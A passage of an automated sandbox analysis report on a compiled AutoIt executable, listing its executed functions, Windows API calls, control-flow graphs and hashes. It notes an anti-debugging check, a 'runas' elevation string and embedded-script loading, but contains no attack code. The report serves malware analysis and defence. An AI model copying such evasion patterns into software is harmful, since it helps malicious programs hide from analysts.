7ff787b83c80 96320->96342 96347 7ff787bf0978 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 96321->96347 96323->96342 96324 7ff787bd05be 96349 7ff787bf34e4 77 API calls 3 library calls 96324->96349 96327 7ff787bd05d1 96328 7ff787b84fe7 96331 7ff787b7e0a8 4 API calls 96328->96331 96329 7ff787b84ac0 96330 7ff787b7e0a8 4 API calls 96338 7ff787b83dde 96330->96338 96331->96338 96332 7ff787b950b4 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent _Init_thread_footer 96332->96342 96333 7ff787bcfefe 96336 7ff787b7e0a8 4 API calls 96333->96336 96334 7ff787b7e0a8 4 API calls 96334->96342 96335 7ff787b84a8f 96335->96329 96335->96333 96339 7ff787b84aa9 96335->96339 96336->96329 96339->96329 96339->96330 96340 7ff787b95114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 96340->96342 96341 7ff787b79640 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 96341->96342 96342->96324 96342->96328 96342->96332 96342->96334 96342->96335 96342->96338 96342->96339 96342->96340 96342->96341 96343 7ff787b94f0c 34 API calls __scrt_initialize_thread_safe_statics 96342->96343 96344 7ff787b85360 300 API calls Concurrency::wait 96342->96344 96348 7ff787bf34e4 77 API calls 3 library calls 96342->96348 96343->96342 96344->96342 96345->96317 96346->96321 96347->96342 96348->96342 96349->96327

                                                          Executed Functions

                                                          Function 00007FF787B737B0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 145windowCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          APIs
                                                          • GetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF787B73785), ref: 00007FF787B737F2
                                                          • IsDebuggerPresent.KERNEL32(?,?,?,?,?,00007FF787B73785), ref: 00007FF787B73807
                                                          • GetFullPathNameW.KERNEL32(?,?,?,?,?,00007FF787B73785), ref: 00007FF787B7388D
                                                            • Part of subcall function 00007FF787B73F9C: GetFullPathNameW.KERNEL32(D000000000000000,00007FF787B738BF,?,?,?,?,?,00007FF787B73785), ref: 00007FF787B73FFD
                                                          • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF787B73785), ref: 00007FF787B73924
                                                          • MessageBoxA.USER32 ref: 00007FF787BBB888
                                                          • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF787B73785), ref: 00007FF787BBB8E1
                                                          • GetForegroundWindow.USER32(?,?,?,?,?,00007FF787B73785), ref: 00007FF787BBB968
                                                          • ShellExecuteW.SHELL32 ref: 00007FF787BBB98F
                                                            • Part of subcall function 00007FF787B73B84: GetSysColorBrush.USER32 ref: 00007FF787B73B9E
                                                            • Part of subcall function 00007FF787B73B84: LoadCursorW.USER32 ref: 00007FF787B73BAE
                                                            • Part of subcall function 00007FF787B73B84: LoadIconW.USER32 ref: 00007FF787B73BC3
                                                            • Part of subcall function 00007FF787B73B84: LoadIconW.USER32 ref: 00007FF787B73BDC
                                                            • Part of subcall function 00007FF787B73B84: LoadIconW.USER32 ref: 00007FF787B73BF5
                                                            • Part of subcall function 00007FF787B73B84: LoadImageW.USER32 ref: 00007FF787B73C21
                                                            • Part of subcall function 00007FF787B73B84: RegisterClassExW.USER32 ref: 00007FF787B73C85
                                                            • Part of subcall function 00007FF787B73CBC: CreateWindowExW.USER32 ref: 00007FF787B73D0C
                                                            • Part of subcall function 00007FF787B73CBC: CreateWindowExW.USER32 ref: 00007FF787B73D5F
                                                            • Part of subcall function 00007FF787B73CBC: ShowWindow.USER32 ref: 00007FF787B73D75
                                                            • Part of subcall function 00007FF787B76258: Shell_NotifyIconW.SHELL32 ref: 00007FF787B76350
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Load$IconWindow$CurrentDirectory$CreateFullNamePath$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell_Show
                                                          • String ID: This is a third-party compiled AutoIt script.$runas
                                                          • API String ID: 1593035822-3287110873
                                                          • Opcode ID: 76182cffaad3958b66f0f298839ba34e861d4864c33095e5d1649e464e4238a0
                                                          • Instruction ID: 84f591fba5b006a65ca81fc754cabdab866ee26cc80385bf9fc6c03f18c012d6
                                                          • Opcode Fuzzy Hash: 76182cffaad3958b66f0f298839ba34e861d4864c33095e5d1649e464e4238a0
                                                          • Instruction Fuzzy Hash: AD717F7199D58396EB20BB24E8804F9EB66BF41394FE04139D54F1B1A5DF6CE64BC320
                                                          Function 00007FF787B76580 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 208COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 352 7ff787b76580-7ff787b765fc call 7ff787b94c68 call 7ff787b76c98 call 7ff787b95d00 359 7ff787b76737-7ff787b7673a 352->359 360 7ff787b76602-7ff787b76606 352->360 363 7ff787bbc9f5-7ff787bbc9fd call 7ff787bf2e00 359->363 364 7ff787b76740-7ff787b76753 CreateStreamOnHGlobal 359->364 361 7ff787b7660c-7ff787b76617 call 7ff787ba5514 360->361 362 7ff787bbca03-7ff787bbca1e 360->362 372 7ff787b7661b-7ff787b7664e call 7ff787b767d8 361->372 375 7ff787bbca27-7ff787bbca60 call 7ff787b76810 call 7ff787b767d8 362->375 363->362 364->360 367 7ff787b76759-7ff787b76777 FindResourceExW 364->367 367->360 371 7ff787b7677d 367->371 373 7ff787bbc97e-7ff787bbc991 LoadResource 371->373 380 7ff787b766e8 372->380 381 7ff787b76654-7ff787b7665f 372->381 373->360 376 7ff787bbc997-7ff787bbc9a8 SizeofResource 373->376 384 7ff787b766ee 375->384 393 7ff787bbca66 375->393 376->360 379 7ff787bbc9ae-7ff787bbc9ba LockResource 376->379 379->360 383 7ff787bbc9c0-7ff787bbc9f0 379->383 380->384 385 7ff787b766ae-7ff787b766b2 381->385 386 7ff787b76661-7ff787b7666f 381->386 383->360 389 7ff787b766f1-7ff787b76715 384->389 385->380 391 7ff787b766b4-7ff787b766cf call 7ff787b76810 385->391 390 7ff787b76670-7ff787b7667d 386->390 394 7ff787b76729-7ff787b76736 389->394 395 7ff787b76717-7ff787b76724 call 7ff787b94c24 * 2 389->395 396 7ff787b76680-7ff787b7668f 390->396 391->372 393->389 395->394 401 7ff787b766d4-7ff787b766dd 396->401 402 7ff787b76691-7ff787b76695 396->402 403 7ff787b766e3-7ff787b766e6 401->403 404 7ff787b76782-7ff787b7678c 401->404 402->375 406 7ff787b7669b-7ff787b766a8 402->406 403->402 407 7ff787b7678e 404->407 408 7ff787b76797-7ff787b767a1 404->408 406->390 410 7ff787b766aa 406->410 407->408 411 7ff787b767ce 408->411 412 7ff787b767a3-7ff787b767ad 408->412 410->385 411->373 413 7ff787b767c6 412->413 414 7ff787b767af-7ff787b767bb 412->414 413->411 414->396 415 7ff787b767c1 414->415 415->413
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Resource$CreateFindGlobalLoadLockSizeofStream
                                                          • String ID: AU3!$EA06$SCRIPT
                                                          • API String ID: 3051347437-2925976212
                                                          • Opcode ID: 2a37f8564f4c8a4eeb189e72451b06d9c699f805bbd4e08f379393b5199a872e
                                                          • Instruction ID: fb3b14a5c48702a336afdf62790e8e9c19417b82dfca3e20a31c036c3502dbde
                                                          • Opcode Fuzzy Hash: 2a37f8564f4c8a4eeb189e72451b06d9c699f805bbd4e08f379393b5199a872e
                                                          • Instruction Fuzzy Hash: 2C910872B4964186E720EB25D444ABCAB66BB46BC8FE14135DE5F8B785DF38E406C320
                                                          Function 00007FF787B91D80 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 251COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 482 7ff787b91d80-7ff787b91e17 call 7ff787b79640 GetVersionExW call 7ff787b77cf4 487 7ff787bd9450 482->487 488 7ff787b91e1d 482->488 490 7ff787bd9457-7ff787bd945d 487->490 489 7ff787b91e20-7ff787b91e46 call 7ff787b7dda4 488->489 495 7ff787b91fc1 489->495 496 7ff787b91e4c 489->496 492 7ff787bd9463-7ff787bd9480 490->492 492->492 494 7ff787bd9482-7ff787bd9485 492->494 494->489 497 7ff787bd948b-7ff787bd9491 494->497 495->487 498 7ff787b91e53-7ff787b91e59 496->498 497->490 499 7ff787bd9493 497->499 500 7ff787b91e5f-7ff787b91e7c 498->500 501 7ff787bd9498-7ff787bd94a1 499->501 500->500 502 7ff787b91e7e-7ff787b91e81 500->502 501->498 503 7ff787bd94a7 501->503 502->501 504 7ff787b91e87-7ff787b91ed6 call 7ff787b7dda4 502->504 503->495 507 7ff787bd9645-7ff787bd964d 504->507 508 7ff787b91edc-7ff787b91ede 504->508 509 7ff787bd964f-7ff787bd9658 507->509 510 7ff787bd965a-7ff787bd965d 507->510 511 7ff787b91ee4-7ff787b91efa 508->511 512 7ff787bd94ac-7ff787bd94af 508->512 515 7ff787bd9686-7ff787bd9692 509->515 510->515 516 7ff787bd965f-7ff787bd9674 510->516 517 7ff787b91f00-7ff787b91f02 511->517 518 7ff787bd9572-7ff787bd9579 511->518 513 7ff787bd94b5-7ff787bd9501 512->513 514 7ff787b91f3c-7ff787b91f80 GetCurrentProcess IsWow64Process call 7ff787b96240 512->514 513->514 522 7ff787bd9507-7ff787bd950e 513->522 527 7ff787bd969d-7ff787bd96b3 call 7ff787be32f4 514->527 539 7ff787b91f86-7ff787b91f8b GetSystemInfo 514->539 515->527 523 7ff787bd9676-7ff787bd967d 516->523 524 7ff787bd967f 516->524 519 7ff787b91f08-7ff787b91f0b 517->519 520 7ff787bd959e-7ff787bd95b3 517->520 525 7ff787bd957b-7ff787bd9584 518->525 526 7ff787bd9589-7ff787bd9599 518->526 528 7ff787b91f11-7ff787b91f2d 519->528 529 7ff787bd95ed-7ff787bd95f0 519->529 530 7ff787bd95c3-7ff787bd95d3 520->530 531 7ff787bd95b5-7ff787bd95be 520->531 533 7ff787bd9534-7ff787bd953c 522->533 534 7ff787bd9510-7ff787bd9518 522->534 523->515 524->515 525->514 526->514 550 7ff787bd96b5-7ff787bd96d5 call 7ff787be32f4 527->550 551 7ff787bd96d7-7ff787bd96dc GetSystemInfo 527->551 536 7ff787b91f33 528->536 537 7ff787bd95d8-7ff787bd95e8 528->537 529->514 538 7ff787bd95f6-7ff787bd9620 529->538 530->514 531->514 542 7ff787bd954c-7ff787bd9554 533->542 543 7ff787bd953e-7ff787bd9547 533->543 540 7ff787bd9526-7ff787bd952f 534->540 541 7ff787bd951a-7ff787bd9521 534->541 536->514 537->514 545 7ff787bd9630-7ff787bd9640 538->545 546 7ff787bd9622-7ff787bd962b 538->546 547 7ff787b91f91-7ff787b91fc0 539->547 540->514 541->514 548 7ff787bd9564-7ff787bd956d 542->548 549 7ff787bd9556-7ff787bd955f 542->549 543->514 545->514 546->514 548->514 549->514 553 7ff787bd96e2-7ff787bd96ea 550->553 551->553 553->547 555 7ff787bd96f0-7ff787bd96f7 FreeLibrary 553->555 555->547
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Process$CurrentInfoSystemVersionWow64
                                                          • String ID: |O
                                                          • API String ID: 1568231622-607156228
                                                          • Opcode ID: ec54e35f865d5c9bd0249927ea89c9316792baffd49f7d05aa477cb653b26fcc
                                                          • Instruction ID: 0c0c97fdb4fb614a48253a582abc26a2e96d536e5e23f694a8ddae8f9bb1e340
                                                          • Opcode Fuzzy Hash: ec54e35f865d5c9bd0249927ea89c9316792baffd49f7d05aa477cb653b26fcc
                                                          • Instruction Fuzzy Hash: DAD1AF21A9D2C285E731AB14E894A75AF99BF11784FE0803DD5AF13261EF6CA583C731
                                                          Function 00007FF787C0F630 Relevance: 12.4, APIs: 8, Instructions: 350processCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 719 7ff787c0f630-7ff787c0f69e call 7ff787b96240 722 7ff787c0f6a0-7ff787c0f6b8 call 7ff787b7ffbc 719->722 723 7ff787c0f6d4-7ff787c0f6d9 719->723 734 7ff787c0f708-7ff787c0f70d 722->734 735 7ff787c0f6ba-7ff787c0f6d2 call 7ff787b7ffbc 722->735 724 7ff787c0f6db-7ff787c0f6ef call 7ff787b7ffbc 723->724 725 7ff787c0f71e-7ff787c0f723 723->725 737 7ff787c0f6f3-7ff787c0f706 call 7ff787b7ffbc 724->737 728 7ff787c0f725-7ff787c0f729 725->728 729 7ff787c0f736-7ff787c0f75c call 7ff787b7d4cc call 7ff787b7e330 725->729 733 7ff787c0f72d-7ff787c0f732 call 7ff787b7ffbc 728->733 748 7ff787c0f840-7ff787c0f84a 729->748 749 7ff787c0f762-7ff787c0f7cf call 7ff787b7d4cc call 7ff787b7e330 call 7ff787b7d4cc call 7ff787b7e330 call 7ff787b7d4cc call 7ff787b7e330 729->749 733->729 738 7ff787c0f719-7ff787c0f71c 734->738 739 7ff787c0f70f-7ff787c0f717 734->739 735->737 737->725 737->734 738->725 738->729 739->733 751 7ff787c0f84c-7ff787c0f86e call 7ff787b7d4cc call 7ff787b7e330 748->751 752 7ff787c0f87d-7ff787c0f8af GetCurrentDirectoryW call 7ff787b94c68 GetCurrentDirectoryW 748->752 796 7ff787c0f7d1-7ff787c0f7f3 call 7ff787b7d4cc call 7ff787b7e330 749->796 797 7ff787c0f806-7ff787c0f83e GetSystemDirectoryW call 7ff787b94c68 GetSystemDirectoryW 749->797 751->752 767 7ff787c0f870-7ff787c0f87b call 7ff787b98d58 751->767 761 7ff787c0f8b5-7ff787c0f8b8 752->761 764 7ff787c0f8ba-7ff787c0f8eb call 7ff787b8f688 * 3 761->764 765 7ff787c0f8f0-7ff787c0f8ff call 7ff787bef464 761->765 764->765 774 7ff787c0f901-7ff787c0f903 765->774 775 7ff787c0f905-7ff787c0f95d call 7ff787befddc call 7ff787befca8 call 7ff787befafc 765->775 767->752 767->765 779 7ff787c0f964-7ff787c0f96c 774->779 775->779 809 7ff787c0f95f 775->809 784 7ff787c0fa0f-7ff787c0fa4b CreateProcessW 779->784 785 7ff787c0f972-7ff787c0fa0d call 7ff787bdd1f8 call 7ff787b98d58 * 3 call 7ff787b94c24 * 3 779->785 789 7ff787c0fa4f-7ff787c0fa62 call 7ff787b94c24 * 2 784->789 785->789 811 7ff787c0fabe-7ff787c0faca CloseHandle 789->811 812 7ff787c0fa64-7ff787c0fabc call 7ff787b74afc * 2 GetLastError call 7ff787b8f214 call 7ff787b813e0 789->812 796->797 824 7ff787c0f7f5-7ff787c0f800 call 7ff787b98d58 796->824 797->761 809->779 818 7ff787c0facc-7ff787c0faf0 call 7ff787bef7dc call 7ff787bf0088 call 7ff787c0fb68 811->818 819 7ff787c0faf5-7ff787c0fafc 811->819 826 7ff787c0fb3b-7ff787c0fb65 call 7ff787bef51c 812->826 818->819 820 7ff787c0fb0c-7ff787c0fb35 call 7ff787b813e0 CloseHandle 819->820 821 7ff787c0fafe-7ff787c0fb0a 819->821 820->826 821->826 824->761 824->797
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Directory$Handle$CloseCurrentLockSyncSystem$CreateErrorLastProcess
                                                          • String ID:
                                                          • API String ID: 1787492119-0
                                                          • Opcode ID: b5529a047433c39029aa94f7abef1aaae7ba2a451b0d80efb392d77c1937dd44
                                                          • Instruction ID: 8e13439c9aafce7762a0f96e927f02df3bf38b8df339c89f4324a4c7ab4ceb7e
                                                          • Opcode Fuzzy Hash: b5529a047433c39029aa94f7abef1aaae7ba2a451b0d80efb392d77c1937dd44
                                                          • Instruction Fuzzy Hash: 5FE1A032B48B4186EB10EF26D4502BDA7A1FB84BD4FA04535EE5E4B7A9DF38E442C750
                                                          Function 00007FF787BEC7C0 Relevance: 6.0, APIs: 4, Instructions: 24filestringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: FileFind$AttributesCloseFirstlstrlen
                                                          • String ID:
                                                          • API String ID: 2695905019-0
                                                          • Opcode ID: 0e40a590ccee8b84c2b17bba0c0d64c91c67e628f63cf05be15c9ff0c6569a5d
                                                          • Instruction ID: ab1bebdc912218550e7c1c88e9468d793b7b564225a0a9aa67b7f0d34d0c1659
                                                          • Opcode Fuzzy Hash: 0e40a590ccee8b84c2b17bba0c0d64c91c67e628f63cf05be15c9ff0c6569a5d
                                                          • Instruction Fuzzy Hash: A7F05E21E9860281EA24AB24B80D339A361BF55B75FB45330E47F062E4DF6C989AC210
                                                          Function 00007FF787B77920 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 178registryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: NameQueryValuewcscat$CloseFileFullModuleOpenPath
                                                          • String ID: Include$Software\AutoIt v3\AutoIt$\Include\
                                                          • API String ID: 2667193904-1575078665
                                                          • Opcode ID: e4a1d1e4efa0bc87a7461a6a39f11fb0c9c767336ce2d992286509dae00062b4
                                                          • Instruction ID: 24c2bb53e34d84d76cb751ba3f41ffe56e988be0f16954f8fbcdde32d345b63a
                                                          • Opcode Fuzzy Hash: e4a1d1e4efa0bc87a7461a6a39f11fb0c9c767336ce2d992286509dae00062b4
                                                          • Instruction Fuzzy Hash: 57918231A5868395EB10FB24E8801B9B76AFF84794FE04136E94E47AA5DF7CD247C720
                                                          Function 00007FF787B75DEC Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 143windowtimeregistryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 131 7ff787b75dec-7ff787b75e21 133 7ff787b75e23-7ff787b75e26 131->133 134 7ff787b75e91-7ff787b75e94 131->134 136 7ff787b75e98 133->136 137 7ff787b75e28-7ff787b75e2f 133->137 134->133 135 7ff787b75e96 134->135 138 7ff787b75e6b-7ff787b75e76 DefWindowProcW 135->138 139 7ff787b75e9e-7ff787b75ea3 136->139 140 7ff787bbc229-7ff787bbc261 call 7ff787b8ede4 call 7ff787b92c44 136->140 141 7ff787b75e35-7ff787b75e3a 137->141 142 7ff787b75f21-7ff787b75f29 PostQuitMessage 137->142 143 7ff787b75e7c-7ff787b75e90 138->143 145 7ff787b75ecc-7ff787b75efa SetTimer RegisterWindowMessageW 139->145 146 7ff787b75ea5-7ff787b75ea8 139->146 175 7ff787bbc267-7ff787bbc26e 140->175 147 7ff787bbc2af-7ff787bbc2c5 call 7ff787bea40c 141->147 148 7ff787b75e40-7ff787b75e43 141->148 144 7ff787b75ec8-7ff787b75eca 142->144 144->143 145->144 153 7ff787b75efc-7ff787b75f09 CreatePopupMenu 145->153 151 7ff787b75eae-7ff787b75ebe KillTimer call 7ff787b75d88 146->151 152 7ff787bbc1b8-7ff787bbc1bb 146->152 147->144 167 7ff787bbc2cb 147->167 154 7ff787b75f2b-7ff787b75f35 call 7ff787b94610 148->154 155 7ff787b75e49-7ff787b75e4e 148->155 172 7ff787b75ec3 call 7ff787b77098 151->172 160 7ff787bbc1f7-7ff787bbc224 MoveWindow 152->160 161 7ff787bbc1bd-7ff787bbc1c0 152->161 153->144 169 7ff787b75f3a 154->169 163 7ff787bbc292-7ff787bbc299 155->163 164 7ff787b75e54-7ff787b75e59 155->164 160->144 170 7ff787bbc1c2-7ff787bbc1c5 161->170 171 7ff787bbc1e4-7ff787bbc1f2 SetFocus 161->171 163->138 173 7ff787bbc29f-7ff787bbc2aa call 7ff787bdc54c 163->173 165 7ff787b75f0b-7ff787b75f1f call 7ff787b75f3c 164->165 166 7ff787b75e5f-7ff787b75e65 164->166 165->144 166->138 166->175 167->138 169->144 170->166 176 7ff787bbc1cb-7ff787bbc1df call 7ff787b8ede4 170->176 171->144 172->144 173->138 175->138 180 7ff787bbc274-7ff787bbc28d call 7ff787b75d88 call 7ff787b76258 175->180 176->144 180->138
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                                          • String ID: TaskbarCreated
                                                          • API String ID: 129472671-2362178303
                                                          • Opcode ID: 72f25fe2909dc216fe8e5bf23ccffbdf7394ac074e80fb2f1d04dd01aa152451
                                                          • Instruction ID: 1aa57b09c6f0ee35cbb5c39b483a3c492357c383f1acc03beea69f1ec4f2cf30
                                                          • Opcode Fuzzy Hash: 72f25fe2909dc216fe8e5bf23ccffbdf7394ac074e80fb2f1d04dd01aa152451
                                                          • Instruction Fuzzy Hash: 2351783199C61682FB20FB18E884679EA5ABF45B80FF44435D45F5B2A5CE6CE947C320
                                                          Function 00007FF787B73D90 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 57windowregistryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                          • String ID: AutoIt v3 GUI$TaskbarCreated
                                                          • API String ID: 2914291525-2659433951
                                                          • Opcode ID: 474949a99bec8184bed6bacf9f27c592b422b8b82249946e56584e62d8b9113a
                                                          • Instruction ID: ba72a2239c8d6ae8bf18a39568f3d4f223da211b0b830de24a42e42d94a31988
                                                          • Opcode Fuzzy Hash: 474949a99bec8184bed6bacf9f27c592b422b8b82249946e56584e62d8b9113a
                                                          • Instruction Fuzzy Hash: 02315C36A54B019AE700DF60F8847A977B8FB44758FA04138CA5E17B64DF7CD19ACB50
                                                          Function 00007FF787B8E958 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 304comCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
